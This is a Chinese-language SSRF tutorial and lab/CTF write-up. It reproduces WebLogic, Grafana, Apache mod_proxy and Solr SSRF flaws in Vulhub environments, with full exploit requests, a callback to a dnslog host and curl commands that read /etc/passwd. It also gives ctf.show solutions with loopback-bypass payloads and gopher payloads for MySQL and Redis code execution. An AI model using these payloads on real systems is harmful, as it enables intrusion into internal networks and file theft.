SSRF漏洞整理总结ssrf漏洞描述
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。
常出现的地方
1.社交分享功能:获取超链接的标题等内容进行显示
2.转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
3.在线翻译:给网址翻译对应网页的内容
4.图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片
5.图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验
6.云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试
7.网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作
8.数据库内置功能:数据库的比如mongodb的copyDatabase函数
9.邮件系统:比如接收邮件服务器地址
10.编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等
11.未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞
一些的url中的关键字:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……
12.从远程服务器请求资源(upload from url 如discuz!;import & expost rss feed 如web blog;使用了xml引擎对象的地方 如wordpress xmlrpc.php)
案列演示weblogic-ssrf漏洞
环境链接:Vulhub – Docker-Compose file for vulnerability environment
复现:漏洞参数点operator=http://127.0.0.1:7001
POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1Host: 101.34.226.129:7001User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 136Origin: http://101.34.226.129:7001Connection: closeReferer: http://101.34.226.129:7001/uddiexplorer/SearchPublicRegistries.jspCookie: publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|http://www-3.ibm.com/services/uddi/v2beta/inquiryapi!IBM V2|http://uddi.rte.microsoft.com/inquire!Microsoft|http://services.xmethods.net/glue/inquire/uddi!XMethods|; JSESSIONID=FzyNjhXHdMKBWzQ8TPSLXcr4hXJ1fhyvqgSQlcTj9BZc8K19QKJC!-739248832Upgrade-Insecure-Requests: 1operator=http://127.0.0.1:7001&rdoSearch=name&txtSearchname=123456&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
当端口不存在时显示
当端口存在时
通过redis拿shell,Vulhub – 用于漏洞环境的 Docker-Compose 文件这篇文章有讲了
然后发送payload等待反弹即可
Grafana Admin Portal SSRF
漏洞环境Vulhub – 用于漏洞环境的 Docker-Compose 文件
启动漏洞环境
docker-compose up -d
漏洞利用脚本RandomRobbieBF/grafana-ssrf:Grafana 中经过身份验证的 SSRF (github.com)
python3 grafana-ssrf.py -H http://124.223.52.83:3000 -u http://tz1r7f.dnslog.cn
收到请求
mod_proxy SSRF 的 Apache HTTP 服务器 2.4.48 (CVE-2021-40438)
漏洞环境Vulhub – 用于漏洞环境的 Docker-Compose 文件
启动环境
docker-compose build docker-compose up -d
发送请求
接收到了
Apache Solr RemoteStreaming Arbitra File Reading and SSRF
环境连接Vulhub – 用于漏洞环境的 Docker-Compose 文件
docker-compose up -d
启动环境
访问该连接以提取数据库名称
http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json
发送以下请求,修改数据库的配置以启用:demo``RemoteStreaming
curl -i -s -k -X $'POST' \ -H $'Content-Type: application/json' --data-binary $'{\"set-property\":{\"requestDispatcher.requestParsers.enableRemoteStreaming\":true}}' \ $'http://your-ip:8983/solr/demo/config'
然后即可读取任意文件
curl -i -s -k'http://your-ip:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'
ctf-showweb351
web352
web353
回环地址绕过
url=http://127.255.255.254/flag.php
url=http://0/flag.php
url=http://[::ffff:7f00:1]
url=http://127.1
web354
将自己的域名解析到本地的127.0.0.1绕过
web355
host要小于5位,那么上面就有payload可以绕过了
直接http://127.1/flag.php就可以了
web356
现在又要host小于3位了,那么直接url=http://0/flag.php就可以绕过了
web357
gethostbyname — 返回主机名对应的 IPv4地址。 filter_var — 使用特定的过滤器过滤一个变量FILTER_FLAG_IPV4 - 要求值是合法的 IPv4 IP(比如 255.255.255.255)FILTER_FLAG_IPV6 - 要求值是合法的 IPv6 IP(比如 2001:0db8:85a3:08d3:1319:8a2e:0370:7334)FILTER_FLAG_NO_PRIV_RANGE - 要求值是 RFC 指定的私域 IP (比如 192.168.0.1)FILTER_FLAG_NO_RES_RANGE - 要求值不在保留的 IP 范围内。该标志接受 IPV4 和 IPV6 值。
就是可以搞个公网地址,然后302跳转到127.0.0.1即可
<?phpheader("Location:http://127.0.0.1/flag.php");
web358
要以http://ctf开头,show结尾,以http://ctf.开头的话,就加一个@127.0.0.1绕过,这样parse_url解析出来的host是127.0.0.1,再用?a=show来匹配后面的,所以payload就为url=http://ctf.@127.0.0.1/flag.php?show
web359
提示mysql没有密码
抓包发现returl可能存在ssrf,那么就是用ssrf漏洞打没有密码的mysql
用工具生成ssrf的payload
tarunkant/Gopherus:该工具生成gopher链接,用于利用SSRF并在各种服务器中获得RCE (github.com)
下面_后的内容发送的时候再次url编码一次
然后再去读取下flag就出来了
web360
提示给出打redis
那就直接生成打吧
url需要再次编码一下
然后再去读flag
乌云案列
腾讯某处SSRF漏洞(非常好的利用点)附利用脚本 |伍云-2016-0215419|WooYun.org (zone.ci)
小米某处SSRF漏洞(可内网SHELL 附多线程Fuzz脚本) |伍云-2016-0215779|WooYun.org (zone.ci)
360某处ssrf漏洞可探测内网信息(附内网6379探测脚本) |伍云-2016-0229611|WooYun.org (zone.ci)
华为某分站存在SSRF漏洞 | wooyun-2016-0214331| WooYun.org (zone.ci)
百度某处SSRF可漫游内网 | wooyun-2016-0214138| WooYun.org (zone.ci)
文件导出ssrf